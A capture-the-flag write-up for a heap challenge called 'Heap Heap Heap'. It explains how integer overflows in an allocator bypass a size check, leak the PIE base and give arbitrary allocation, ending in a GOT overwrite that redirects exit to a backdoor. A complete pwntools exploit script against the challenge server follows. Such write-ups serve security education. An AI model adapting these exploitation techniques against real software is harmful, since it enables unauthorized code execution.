1st place〜^^

Heap Heap Heap (2 solves)

We can bypass the check for memory_needed > heap_heap.top_size via integer overflow vulnerability of statement struct Node *node = heap_heap.top in function halloc. This can help us leak the memory address and do the next step of exploitation.

After we leaked the base address, we can use the integer overflow vulnerability of statement struct Node *new_node = node->data + size to achieve arbitrary memory allocation the next time we allocate a node using halloc. In my solution, I make the new_node to a nearby address of heap_heap structure so that I can control the structure, which makes the rest of exploitation easy.

Continue, we just need to hijack the heap_heap.top to the GOT of exit then allocate a node with size of the address of function backdoor. The GOT of exit will be assigned to backdoor in the statement node->value = size. Finally, enter 4 to choose the exit option of the menu and it will trigger the backdoor through exit.

PS: After sharing my solve script and discussing with the author of the challenge in the Discord channel once the contest was over, it seems my approach wasn’t the intended solution :)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/python2
from pwn import *

context.bits = 64
# io = process('./heapheapheap')
io = remote('challs.nusgreyhats.org', 33456)

pie_os = lambda x : pie_base + x

def add(l, s, v):
io.sendlineafter(b"Your choice: ", b"1")
io.sendlineafter(b"Enter length", str(l))
io.sendlineafter(b"Enter string: ", s)
io.sendlineafter(b"Enter value: ", str(v).encode())

def edit(l, s, v):
io.sendlineafter(b"Your choice: ", b"2")
io.sendlineafter(b"Enter length", str(l))
io.sendlineafter(b"Enter string: ", s)
io.sendlineafter(b"Enter value: ", str(v).encode())

def delete():
io.sendlineafter(b"Your choice: ", b"3")
io.recvuntil(b"The largest element is '")
string = io.recvuntil(b"'")[:-1]
io.recvuntil(b"with a value of ")
return string, int(io.recvline())

add(0x10, 'a', 7)
add(0x10, 'a', 6)
add(0x10, 'a', 5)
add(0xffffffffffffffe0, "", 10)
add(0x10, "", 1)
pie_base = u64(delete()[0].ljust(8, '\x00')) - (0x55b4ec022318 - 0x55b4ec01e000)
edit(pie_os(0x5569e87782e8 - 0x5569e8774000), "", 4)
edit(0xffffffffffffffe0-pie_os(0x5569e87782e8 - 0x5569e8774000)-0x28, "", 4)
add(0xffffffffffffffff, "", 11)
delete()
add(0xfffffffffffffc68, "", 4)
pld = flat({
0: 13,
8: pie_os(0x0000000000004058),
0x30: pie_os(0x55f1d30120d0-0x55f1d300d000),
}, filler = '\x00')
pld = flat({
0: pie_os(0x5601258ca210-0x5601258c6000),
8: 1,
0x18: pie_os(0x0000000000004058),
0x20: 0xffffffffffffffff,
}, filler = '\x00')
edit(0x100, pld, 12)
edit(pie_os(0x0000000000001C0E), pld, 1)
io.sendlineafter(b"Your choice: ", b"4")
io.interactive()